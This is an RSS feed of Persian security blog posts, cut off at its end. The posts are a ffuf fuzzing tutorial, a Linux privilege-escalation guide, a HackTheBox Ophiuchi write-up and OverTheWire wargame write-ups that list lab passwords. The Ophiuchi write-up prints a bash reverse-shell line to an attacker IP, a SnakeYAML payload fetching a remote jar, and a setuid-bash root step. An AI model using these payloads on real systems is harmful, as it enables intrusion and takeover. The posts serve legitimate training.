<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های امیر قلی زاده</title>
        <link>https://virgool.io/feed/@amir._.gholizadeh</link>
        <description></description>
        <language>fa</language>
        <pubDate>2026-06-17 11:07:14</pubDate>
        <image>
            <url>https://static.virgool.io/images/default-avatar.jpg</url>
            <title>امیر قلی زاده</title>
            <link>https://virgool.io/@amir._.gholizadeh</link>
        </image>

                    <item>
                <title>راه و روش استفاده از ابزار ffuf به صورت کامل برای fuzzing</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%D9%87-%D9%88-%D8%B1%D9%88%D8%B4-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%A7%D8%B2-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1-ffuf-%D8%A8%D9%87-%D8%B5%D9%88%D8%B1%D8%AA-%DA%A9%D8%A7%D9%85%D9%84-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%AA%D8%B3%D8%AA-%D9%86%D9%81%D9%88%D8%B0-olj8jdji0dsl</link>
                <description>توی این پست درباره ابزاری به اسم ffuf که برای fuzzing وبسایت استفاده میشه صحبت میکنم.با این ابزار میشه هم زیر دامنه ها و هم فایل ها و پوشه ها و حتی پارامتر ها رو fuzz کرد.نصب ابزار ffufاین ابزار به صورت پیش فرض توی سیستم عامل کالی نصب است. برای نصب این ابزار در سیستم عامل هایی که دبین بیس هستن باید این دستور رو اجرا کنید:sudo apt install ffufدر سیستم عامل آرچ:sudo pacman -S ffufدر سیستم عامل فدورا و غیره هم میشه با گوگل کردن به راحتی دستور نصبش رو پیدا کرد. همچنین ffuf رو میشه در این ریپوزیتوری پیدا کرد.بریم برای ادامه مطلب که چطور میشه از این ابزار استفاده کرد. با دستور ffuf -h میشه دستوراتی که وجود دارن رو دید. آپشن w- برای تنظیم لیست کلماتی که میخوایم باهاش فاز کنیم استفاده میشه مثل وردلیست های ریپوزیتوری seclist. آپشن u- برای تنظیم آدرس وبسایت استفاده میشه.فاز کردن پوشه هابرای اینکه پوشه هارو فاز کنیم از این دستور استفاده میکنیم:ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://website:port/FUZZآدرسی که من استفاده کردم برای وردلیست جاییه که ریپوزیتوری seclist در سیستم من قرار داره و ممکنه برای شما متفاوت باشه و یا از یک وردلیست دیگه استفاده کنید. برای آپشن u- هم باید اسم وبسایت به همراه پورت و قرار دادن کلمه FUZZ و یا هر کلمه دیگه ای که بعده وردلیست با : نشون میدیم باشه.نکته: برای فاز کردن یک وبسایت که در بیرون از شبکه ای که شما بهش وصل هستین وجود نداره میتونید در فایل hosts سیستمتون که توی لینوکس در ادرس /etc/hosts/ قرار داره به صورت &quot;IP website&quot; تنظیم کنید که با استفاده از اسم وبسایت که خودتون تنظیم کردین به وبسایت وصل بشین و یا میتونید از آی پی به جای اسم استفاده کنید اما بعدها نیاز به این کار هست.فاز کردن صفحاتبرای فاز کردن صفحات اول باید بفهمیم که وبسایت از چه پسوندی برای فایل ها استفاده میکنه که این کار هم با ابزار ffuf امکان پذیره!برای اینکار این دستور رو اجرا میکنیم:ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://website:port/indexFUZZاین وردلیست پسوند های معمول رو داره و میشه با استفاده از این وردلیست بفهمیم که وبسایتمون از چه پسوند هایی استفاده میکنه. در بخش آدرس فایل index رو انتخاب کردیم برای فاز کردن چون معمولا این فایل در همه جا قرار داره. بعده کلمه index فاصله ای قرار ندادم چون کلماتی که داخل اون وردلیست هستن با نقطه شروع میشن.بعد از این کار میتونیم با آپشن e- که برای تنظیم پسوند استفاده میشه پسوند هارو تنظیم کنیم:ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://website:port/FUZZ -e .php,.php7با این دستور دنبال فایل های با پسوند php و php7 میگردیم. اما وقتی ی پوشه دیگه پیدا کنیم بازم باید همین دستور رو برای اون پوشه بزنیم! کاره وقت بریه و مفید هم نیست، اما جای نگرانی هم نیست چون ابزار ffuf آپشن هایی برای حل این مشکل هم داره:ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://website:port/FUZZ -e .php,.php7 -recursion -recursion-depth 1 با آپشن recursion به ابزار میفهمونیم که میخوایم پوشه هایی که پیدا شد هم جستجو بشه، با آپشن recrusion-depth که به 1 تنظیم شده میفهمونیم بهش که نمیخوایم وقتی به /test/tests/ رسیدیم دوباره داخل tests هم بگردیم، با این کار وقتی پوشه هایی رو اول دیدیم که جالب به نظر میان، بعدا دنبال اونا میگردیم و سرعت کارمون بیشتر میشه.برای اینکه آدرس کامل رو هم نشون میده میتونیم از آپشن v- استفاده کنیم.زیر دامنهبرای پیدا کردن زیر دامنه هم میشه با همین ابزار اقدام کرد به این صورت:ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://FUZZ.website:port/در این صورت بیشتر درخواست ها با status code 200 نمایش داده میشن اما ممکنه درست نباشن و در این صورت چک میکنیم که زیر دامنه هایی که اشتباه هستن response size اشون چنده. این رو هم داخل ابزار ffuf نشون میده و بعد با استفاده از اون و با استفاده از آپشن fs- تنظیم میکنیم که از این response size چیزی رو نشون نده و response size های متفاوت رو نشون بده که احتمال درست بودن و کاربردی بودنشون هست.بعضی مواقع هم پیش میاد که زیر دامنه با آی پی خود وبسایت یکی باشه که در این صورت بهش میگیم vhost. این رو میشه در وبسایت هایی که در بیرون از شبکه ما نیستن هم استفاده کرد و بعد از پیدا کردنش توی فایل hosts بعده اون ادرسی که تنظیم کردیم ی فاصله بدیم و ادرس جدید رو کنارش با زیر دامنه اش بزاریم.برای پیدا کردن vhost چون نه داخل فایل hosts وجود داره ادرسش و نه داخل سرور های DNS باید راه دیگه ای رو پیش بگیریم:ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://website:port/ -H &amp;quotHost: FUZZ.website&amp;quot -fs xxxاینجا با استفاده از هدر Host فاز میکنیم و با استفاده از آپشن fs- آدرس هایی که اشتباه هستن رو فیلتر میکنیم.پارامتر هابا ابزار ffuf میشه پارامتر هارو هم فاز کرد!برای این کار باید بدونیم پارامتر ها از نوع GET فرستاده میشن، یعنی توی آدرس تنظیم میشن یا که از نوع POST ان و در هدر data فرستاده میشن.اگرم نمیدونیم کدومه و اسم پارامتر هم نمیدونیم میتونیم هردورو امتحان کنیم و اسم پارامتر های مختلف رو با ی مقدار ثابت بفرستیم و response size رو مشاهده کنیم. بعد با فیلتر کردن response size ها میفهمیم که چه پارامتر هایی قابل فرستادن هستن و بعد از اون هم یشه با فاز کردن مقدار صفحات مختلف رو بیاریم:ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://website:port/somepage?FUZZ=value -fs xxxبرای فاز کردن POST:ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://website:PORT/somepage -X POST -d &#039;FUZZ=key&#039; -fs xxxبا این دستورات اسم پارامتر هارو فاز میکنیم و با fs نتایج رو فیلتر میکنیم. در قدم بعدی وقتی اسم پارامتر رو فهمیدیم میتونیم مقدار رو هم فاز کنیم که فقط جای FUZZ که برای اسم پارامتر گذاشتیم، خود اسم پارامتر رو میزاریم و برای مقدار هم از یک وردلیست استفاده میکنیم یا از جایی یا خودمون میسازیم و بعد جایگزین FUZZ میکنیم.ممنون از وقت گذاشتنتون.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Fri, 23 Jul 2021 11:58:17 +0430</pubDate>
            </item>
                    <item>
                <title>ارتقا سطح دسترسی در لینوکس</title>
                <link>https://virgool.io/CodeLovers/%D8%A7%D8%B1%D8%AA%D9%82%D8%A7-%D8%B3%D8%B7%D8%AD-%D8%AF%D8%B3%D8%AA%D8%B1%D8%B3%DB%8C-%D8%AF%D8%B1-%D9%84%DB%8C%D9%86%D9%88%DA%A9%D8%B3-i2zct5v0djph</link>
                <description>توی این پست درمورد ارتقا سطح دسترسی در لینوکس صحبت میکنم و میبینیم که چطور میشه از ی shell به عنوان هر نوع کاربری که سطحش از root کمتره به root برسیم و سطح دسترسیمون رو در صورت امکان ارتقا بدیم.https://www.netsparker.com/blog/web-security/privilege-escalation/منابعاز بهترین منابع هایی که درمورد ارتقا سطح دسترسی لینوکس میشه پیدا کرد و استفاده کرد، قبل از هر چیز گوگله و بعضی مواقع پیش میاد که ی سرویس یا ی نرم افزار وجود داره و شاید اون نرم افزار یا سرویس ی حفره امنیتی داشته باشه یا شاید ی قابلیت داشته باشه که بشه ازش سو استفاده کرد تا سطح دسترسیمون رو ارتقا بدیم. در این صورت باید با گوگل کردن و تحقیق زیاد بفهمیم که داریم با چی کار میکنیم.دوتا از منابع ای که باید حتما بدونین چین و در بیشتر موارد استفاده میشن، یکیشون gftobins هست و یکی دیگه هم PayloadsAllTheThings که درموردشون بعدا صحبت میکنم.با استفاده از این وبسایت میشه روش های جامع تری پیدا کرد و یک وبسایت جامع ای برای تست نفوذه.دوتا ابزار هم برای راحت تر انجام دادن کارایی که در ادامه میگم و هم برای دقت بیشتر هست که یکیشون linPEAS که برای پیدا کردن تمام چیزایی که در ادامه درموردشون صحبت میکنم و یکی از بهترین ابزار هاست در این زمینه، و یکی دیگه هم linux exploit suggester که برای پیدا کردن اکسپلویت های کرنل هست.حالا میرسیم به بخش اینکه چطور یک سری موارد که باعث میشن دسترسیمون رو ارتقا بدیم پیدا کنیم.کرنلکرنل یا همون هسته سیستم عامل در صورت به روز نبودن امکان اکسپلویت کردنش هست اما برای اینکه بفهمیم چه اکسپولیتی نیازه و اصلا اکسپلویتی نوشته شده باید اطلاعاتی کسب کنیم ازش.برای پیدا کردن اطلاعات درمورد کرنل که شامل ورژنش میشه میتونیم از دستورات زیر استفاده کنیم:uname -a
cat /etc/issue
cat /proc/versionو بعد باید به صورت دستی با استفاده از گوگل یا هر موتور جسجتوی دیگه ای ببینیم اکسپلویتی برای این ورژن از کرنل وجود داره یا نه و اگه وجود داره درموردش تحقیق میکنیم و با استفاده از اون اکسپلویت سطح دسترسیمونو ارتقا میدیم.هشدار: این نوع از ارتقا سطح دسترسی لینوکس، ممکنه باعث کرش شدن سیستم بشه پس باید به عنوان اخرین راه ازش استفاده کرد اگه راه دیگه ای وجود نداشت.سرویس هایی که با دسترسی root در حال اجرا هستنهمونجوری که تیتر میگه، سرویس هایی که با دسترسی root در حال اجرا هستن ممکنه بشه ازشون استفاده کرد که به root برسیم، مثل سرویس mysql و یا samba.برای پیدا کردن اطلاعات اینکه چه سرویسی در حال اجراست میشه از دستور زیر استفاده کرد:ps auxپیدا کردن رمز عبور در فایل هاممکنه کاربر های یک سیستم به صورت تصادفی و یا از قصد (معمولا) رمز عبوری رو تو ی فایل که قابل خوندنه و هیچ رمز نگاری هم نشده ذخیره کنن! در این صورت میشه با پیدا کردن یک کلمه در تمام فایلا با استفاده از دستور find در لینوکس، ببینیم اون کلمه در هیچ فایلی وجود داره یا نه، مثلا کلمه password یا pass.و هم ممکنه رمز هایی که وجود دارن اصلا تغییر داده نباشن و همون رمز پیش فرض باشن که در این صورت طبق سرویس یا هرچیزی که هست با استفاده از ی موتور جستجو ببینیم که چه اطلاعاتی برای ورود به صورت پیش فرض برای اون وجود داره.و حالا اینجاست که سر و کله PayloadsAllTheThings پیدا میشه! توی این ریپوزیتوری و بخش ارتقا سطح دسترسی لینوکس میشه دستوراتی رو پیدا کرد که برای پیدا کردن رمز عبور قابل استفاده هستن:بخش Looting for passwordsهمونطور که میبینین این دستورات وجود داره و میشه ازشون استفاده کرد. ی دستور دیگه هم که شاید اطلاعاتی بده دستور history هست که میشه دستوراتی که کاربر اجرا کرده بود رو دید.فایل های دارای SUIDفایل هایی که SUID یا Set User ID روشون وجود داره، کاربر عادی میتونه با دسترسی root و یا هر کاربری که این دسترسی رو گذاشته، فایل رو اجرا کنه!برای پیدا کردن این فایل ها میشه دوباره از دستور find استفاده کرد که در ریپوزیتوری هم به این شکل وجود داره:بخش SUIDوقتی که این فایل ها پیدا شدن میشه با رفتن به سایت gftobins (اینجاست که این وبسایت به کار میاد) چک کنیم که آیا قابل سو استفاده کردن هست یا نه، و اگه باشه نشون داده میشه و راهش هم داخل وبسایتش هست و میشه از اون راه استفاده کرد. مثلا فرض کنیم دستور bash دارای SUID هست و در این صورت میشه به سایت gftobins رفت و این دستور رو جستجو کرد و اگه براش چیزی وجود داره میاره بالا:بخش suid سایت gftobins برای bashخیلی ساده با دستور bash -p میشه به دسترسی root برسیم!این چیز ها پیش میاد چون کاربر ها و مدیرا نمیدونن که وقتی برای یک فایل SUID میزارن یا دسترسی بیشتری به اون فایل میدن شاید قابل اکسپولیت کردن باشه!در صورت پیدا نشدن ی دستور توی این سایت، به این معنا نیست که این دستور قابل سو استفاده کردن نیست، برای مطمعن شدن باید از گوگل استفاده کرد و تحقیق کرد درمورد اون دستور اگه دستور غیر عادی هست.سو استفاده از sudoمعمولا کاربر root یک سری دسترسی به کاربرهای پایین خودش میده که میتونن دستوری رو به بدون نیاز به رمز عبور با دسترسی root اجرا کنن که این دستور ها با دستور زیر معلوم میشن:sudo -lاینجا هم میشه از وبسایت gftobins استفاده کرد و ببینیم که میشه از ی دستور سو استفاده کرد یا نه.و باز هم مثل قبلی، نبودن ی دستور توی gftobins به معنا غیر قابل سو استفاده کردن ازش نیست.فرض میکنیم دستور bash رو میشه با sudo اجرا کرد، برین به وبسایت gftobins و ببینین میتونین ازش سو استفاده کنین یا نه.تایمر هامعمولا کاربر ها توی سیستم برای اینکه یک دستور رو هر چند وقت یکبار اجرا کنن از تایمر ها به عنوان job استفاده میکنن و بعضی مواقع میشه ازشون سو استفاده کرد اگه بد تنظیم یا نوشته شده باشن.برای پیدا کردن تایمر ها میشه از وبسایت PayloadsAllTheThings استفاده کرد:توجه کنید که دو نوع از این تایمر ها وجود داره.بعد از پیدا کردنشون باید ببینیم که قابل سو استفاده کردن هست یا که نیست و یکی از شایع ترین بد تنظیم شدنشون اینه به جای اینکه از absolute path استفاده کنن از relative path استفاده میکنن و میشه با قرار دادن یک اسکریپت یا فایل با توجه به اسکریپتی که توی تایمر وجود داشت از این بد تنظیم شدن سو استفاده کرد.متغیر PATHمتغیر PATH در لینوکس باعث میشه یک اسکریپت یا ابزار رو بدون نوشتن آدرس کاملش اجرا کردن، مثلا اگه ی ابزار داخل /home/user/ وجود داشته باشه و این آدرس به این متغیر اضافه بشه، وقتی اسم ابزار رو بنویسیم سیستم به تربیت آدرس هایی که داخل متغیر وجود داره رو چک میکنه و میبینه که ابزار داخل کدوم یکی از ادرس ها هست، اینجارو توجه کنید، هر آدرسی که اول از بقیه این ابزار توش پیدا بشه، از همونجا این ابزار اجرا میشه، یعنی اگه قبل آدرس /home/user/، آدرس /home/malicious/ وجود داشته باشه و داخل این فولدر همون ابزاری که ما اسمشو نوشتیم وجود داشته باشه از همین فولدر اجرا میشه با اینکه ما میخواستیم از فولدر user این رو اجرا کنیم. برای اجرا کردنش از فولدر /home/user/ باید آدرس کامل رو بدیم.حفره امنیتی هم به همین بستگی داره، اگه جایی که آدرس کامل وجود نداشته باشه و توی PATH یک ادرس وجود داشته باشه که توسط کاربری که داریم قابل نوشتن باشه قبل اینکه ابزار اصلی رو پیدا کنه، میشه با استفاده ازش و با توجه به عملکردی که اون ابزاری که این ابزار رو فراخوانی میکنه، میشه ازش سو استفاده کرد.درایو های mount نشدهممکنه توی سیستم ی درایو وجود داشته باشه که mount نشده و ما نتونستیم ببینیمش، برای اینکه بفهمیم همچین درایوی وجود داره میتونیم دو دستور اجرا کنیم:mount -l
cat /etc/fstabبا استفاده از این دو دستور میشه فهمید که درایوی وجود داره یا نه. اگه وجود داشت mountاش میکنیم و بعد دوباره تکنیک های بالا رو اجرا میکنیم و میبینیم میشه ازش سو استفاده کرد یا نه.پیدا کردن به صورت خودکاربرای اینکه این کارها به صورت خودکار انجام بشه میشه از ابزار هایی استفاده کرد.یکیشون linPEAS هست که تموم روش های بالا به علاوه چیزای بیشتر و دقیق تر رو انجام میده و گزارش میده و میشه با دیدن اون گزارش چیزای جالبی پیدا کرد و بعد با جستجوی بیشتر توی اینترنت ازشون سو استفاده کنیم.ابزار linux exploit suggester صرفا برای پیدا کردن اکسپولیت ها برای کرنل هست.هردوی این ابزار ها باید داخل سیستم مورد حمله اپلود بشن و ازشون اونجا استفاده شه.به زودی ی ویدیو درمورد ارتقا سطح دسترسی لینوکس با استفاده از یک room در پلتفرم tryhackme ظبط میکنم که به صورت عملی هم این روش هارو ببینید.مقالات و ویدیو ها در این کانال تلگرام پست میشه. </description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Tue, 20 Jul 2021 22:14:45 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ و شرح سیستم Ophiuchi در پلتفرم HackTheBox</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D9%88-%D8%B4%D8%B1%D8%AD-%D8%B3%DB%8C%D8%B3%D8%AA%D9%85-ophiuchi-%D8%AF%D8%B1-%D9%BE%D9%84%D8%AA%D9%81%D8%B1%D9%85-hackthebox-q0kvq0nvamxe</link>
                <description>این سیستم مدتی کم از حالت فعال در اومد و غیرفعال شد و قبل غیرفعال شدنش هم من تونستم این سیستم رو هک کنم و این پست رایت آپ من برای چگونگی هک این سیستم است.اگر نمیدونید hackthebox چیه٬ hackthebox یک پلتفرمه که چالش های CTF رو میتونین در اون حل کنید و امتیاز کسب کنید٬ این پلتفرم هم چالش داره و هم سیستم هایی برای هک که مانند سیستم های واقعی عمل میکنند.مرحله اول: پیدا کردن اطلاعاتاطلاعات چندانی نمیشه در این پلتفرم پیدا کرد ولی اینو میدونیم که سیستم از نوع لینوکسه و آی پی اش هم ۱۰.۱۰.۱۰.۲۲۷ هست.مرحله دوم: اسکن کردندر این مرحله از ابزار nmap برای پیدا کردن پورت و سرویس های باز در سیستم استفاده کردم که دستورش رو به این صورت نوشتم:nmap -T5 -A -p- 10.10.10.227که نتیجه اش به این صورت اومد:نتیجه nmapدو پورت باز وجود داره٬ یکی برای ssh و یکی دیگه برای http. از ssh به تنهایی نمیشه استفاده کرد تا به سیستم نفوذ بشه٬ پس رفتم به سمت سرور http که وجود داشت و با این صفحه مواجه شدم:صفحه اصلی در این صفحه یک باکس وجود داره که میشه ازش استفاده کرد تا دستور های yaml رو اجرا کنیم٬ به همین خاطر به دنبال یک حفره امنیتی براش گشتم و به دو لینک رسیدم که یکیش یک مقاله در سایت مدیوم بود و یکی دیگه هم یک ریپوزیتوری در گیتهاب. به طور خلاصه این حفره امنیتی از کنستراکتور جاوا استفاده میکنه که اجرا کنه کد رو و یک ادرس میده به اون سرور که بهش درخواست بده و ماهم میتونیم بهش ادرس یک فایل رو بدیم که برامون یک reverse shell بیاره.مرحله سوم: اکسپلویت کردن برای اینکار ریپوزیتوری گیتهاب رو کلون کردم و بعد تغییراتی توی فایل جاوایی که توی مسیر src/artsploit وجود داشت دادم که به این صورت بود:در خط اولی که Runtime.getRuntime وجود داره بهش یک دستور دادم که از سمت اون سرور اجرا کنه٬ این دستور یک فایل reverse shell از سرور من دانلود میکنه و در پوشه tmp ذخیره میکنه و بعد در خط بعدی بهش میگم که این فایل رو اجرا کنه تا به من یک shell بده. کد این فایل هم به این صورته:#!/bin/bashbash -i &gt;&amp; /dev/tcp/10.10.xx.xx/8888 0&gt;&amp;1برای کامپایل کردن فایل جاوا هم به پوشه ای که پوشه src داخلش بود cd کردم و بعد دستور هایی که در صفحه گیتهاب وجود داشت رو اجرا کردم و یک فایل jar ساختم. بعد از این کار دوباره رفتم سر سرویس http و این دستور رو درون اون باکس نوشتم:!!javax.script.ScriptEngineManager [
 !!java.net.URLClassLoader [[
 !!java.net.URL [“http://10.10.xx.xx:8000/snakeyaml/yaml-payload.jar&amp;quot]
 ]]
]این دستور کانستراکتور جاوا رو فراخوانی میکنه و بعد یک درخواست به فایلی که من کامپایل کردم میده و با این کار فایل reverse shell رو دانلود و اجرا میکنه. منم با استفاده از دستور nc به پورت ۸۸۸۸ گوش کردم تا وقتی به من درخواست میده یک shell بگیرم. بعد از وارد شدن به سیستم رفتم به پوشه /opt/tomcat/ چون سرویس http از tomcat استفاده میکرد و اون پوشه هم پوشه ایه که tomcat تنظیماتش رو ذخیره میکنه. در اون پوشه یک پوشه conf وجود داشت که به نظر جالب میومد و درونش هم چندتا فایل وجود داشت که همشون رو با استفاده از دستور cat و پایپ کردنش به grep تونستم ببینم:در این پوشه نام کاربری و رمز عبور admin وجود داشت و با استفاده از این اطلاعات به سیستم ssh کردم و تونستم وارد بشم٬ در پوشه home این کاربر پرچم کاربر وجود داشت.مرحله چهارم: بعد از اکسپلویتبعد از مرحله قبل میرسیم به ارتقا سطح کاربری به root. برای اینکار از دستور sudo -l استفاده کردم تا ببینم دستوری هست که بتونم اجرا کنم یا نه و بود:مثل اینکه با استفاده از go میشه یک فایل که در پوشه opt/wasm-functions وجود داره رو اجرا کرد پس اجراش کردم و به یک اررور رسیدم که با cd کردن به پوشه خودش درست شد و بعد اررور not ready to deploy رو دیدم٬ برای همین سورس کد فایل index.go رو خوندم که یک سری چیز جالب به چشمم خورد:چون از مسیر کاملی استفاده نمیکنه و متغیره میشه از این استفاده کرد و فایل های خودممو بسازم و به این اسکریپت بدمش برای همین به پوشه tmp رفتم و فولدر خودم رو ساختم و فایل main.wasm رو به اونجا کپی کردم و فایل deploy.sh رو خودم ساختم و این دستور رو داخلش نوشتم:chmod +s /bin/bashکه به کاربران عادی اجازه میده تا به جای کاربر root این دستور رو اجرا کنن و بنابراین میشه به root رسید. اما بازم به اون خطا نرسیدیم٬ همانطور که از خط های اول این فانکشن معلومه٬ فایل main.wasm رو میخونه و یک متغیر رو از داخلش میخونه که باید مقدارش ۱ باشه تا کار کنه. چون میتونیم فایل خودمون رو بدیم به این اسکریپت٬ main.wasm رو به سیستم خودم کپی کردم و با استفاده از دستور wasm2wat یک فایل wat ساختم ازش تا ببینم دقیق چه خبره:و در خط چهارم یک متیغیر وجود داره که ثابته و مقدارش ۰ هست٬ مقدارش رو به ۱ تغییر دادم و با استفاده از دستور wat2wasm دوباره تبدیلش کردم به wasm و از طرف اون سیستم این فایل رو دانلود کردم و جایگذاری کردم و دوباره اسکریپت رو اجرا کردم و تونستم به root برسم:در پوشه root هم پرچم root وجود داره.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sun, 04 Jul 2021 21:47:52 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۲ &gt; ۳ سری چالش های krypton از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B2-%DB%B3-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-krypton-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-jrqgsu59wawk</link>
                <description>اطلاعات لازم:نام کاربری: krypton2
رمز عبور: ROTTEN
پورت: ۲۲۳۱
هاست:  krypton.labs.overthewire.orgرایت آپ:بعد از وارد شدن اولین کاری که کردم این بود که به پوشه ای که داخلش باید برم cd کردم و بعد ls کردم تا چیزایی که وجود داره رو ببینم و بعد با cat فایل README رو خوندم:انگار این رمز عبور با روش caesar cipher رمز نگاری شده و طبق اطلاعاتی که داده این روش٬ هر حرف رو با یک حرف دیگه به مقدار یک عدد جا به جا میکنه مثلا میتونه a رو با ۵ حرف اونور ترش جا به جا کنه و اینجا هم چیزی از اون عدد نداریم ولی چیزی که داریم اسکریپتیه که با همین روش رمز نگاری میکنه پس ازش استفاده کردم تا ببینم a و z با چه حروفی جا به جا میشن:حرف A با M و Z با L جا به جا میشن پس به فکر یک پترن برای بازگردوندنش فکر کردم و به این رسیدم:و کار کرد! حالا برای رمز عبور:</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sun, 30 May 2021 18:02:10 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۱ &gt; ۲ سری چالش های krypton از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B1-%DB%B2-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-krypton-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-ip3fn89h9prx</link>
                <description>اطلاعات لازم:نام کاربری: krypton1
رمز عبور: KRYPTONISGREAT
پورت: ۲۲۳۱
هاست:  krypton.labs.overthewire.org رایت آپ:وقتی وارد شدم به فولدر /krypton/krypton1/ تغییر مسیر دادم و یک ls کردم و یک فایل README وجود داشت و یک فایل krypton2:بمثل اینکه رمز عبور داخل فایل krypton2 وجود داره ولی با روش ROT13 رمز نگاری شده. از اونجایی که قبل هم با این روش آشنایی داشتم زحمت چندانی نداشت.  ROT13 یک حرف رو میگیره و با ۱۳ حرف بعدش جا به جا میکنه مثلا حرف a رو با حرف n. پس از tr برای جا به جایی دوبارشون استفاده کردم تا رمز عبور رو پیدا کنم:رمز عبور ROTTEN است.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sun, 30 May 2021 14:28:36 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۰ &gt; ۱ سری چالش های krypton از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B0-%DB%B1-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-krypton-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-obbc7ism3wri</link>
                <description>اطلاعات لازم:نام کاربری:
رمز عبور:
پورت: ۲۲۳۱
هاست:  krypton.labs.overthewire.orgرایت آپ:این سطح بسیار سادست و با وارد کردن دستور زیر توی ترمینال لینوکس میشه رشته رمزنگاری شده با روش base64 رو به یک رشته عادی تبدیل کرد:echo &amp;quotS1JZUFRPTklTR1JFQVQ=&amp;quot | base64 -dکه رمز عبور KRYPTONISGREAT رو به ما میده.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sun, 30 May 2021 14:10:27 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۶ &gt; ۷ سری چالش های leviathan از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B6-%DB%B7-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-leviathan-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-xl0leynutjlg</link>
                <description>اطلاعات لازم:نام کاربری: leviathan6
رمز عبور: UgaoFee4li
پورت: 2223
هاست: leviathan.labs.overthewire.org (176.9.9.172)رایت آپ:طبق معمول ls کردم و یک اسکریپت دیدم و اجراش کردم:مثل اینکه یک عدد ۴ رقمی میخاد پس یک اسکریپت شل نوشتم برای bruteforce کردنش:و بعد اجراش کردم:مثل اینکه بعده ۷۱۲۲ گیر میکنه شاید به یک شل رسیده؟امتحانش کردم:یک شل به عنوان کاربر leviathan7 گرفتم و رمز عبور رو از فایل مخصوصش گرفتم.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sat, 29 May 2021 20:57:00 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح 5 &gt; 6 سری چالش های leviathan از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-5-6-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-leviathan-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-sjghjksslhvd</link>
                <description>اطلاعات لازم:نام کاربری: leviathan5
رمز عبور: Ahdiemoo1j
پورت: 2223
هاست: leviathan.labs.overthewire.org (176.9.9.172)رایت آپ:طبق روال هیشگی ls کردم و دیدم که یک فایل در اونجا وجود داره پس اجراش کردم:به نظر میاد که به یک فایل نیاز داره تا اجرا شه٬ پس فایل رو ساختم و بعد با ltrace این اسکریپت رو اجرا کردم:این اسکریپت فایل رو باز میکنه٬ میخونه و بعد حذف میکنه. این نقشه به ذهنم رسید که آیا با لینک کردن اون فایل به فایلی که رمز عبور در اون قرار داره میشه رمز عبور رو خوند یا نه که اینطور هم شد:</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sat, 29 May 2021 14:13:29 +0430</pubDate>
            </item>
                    <item>
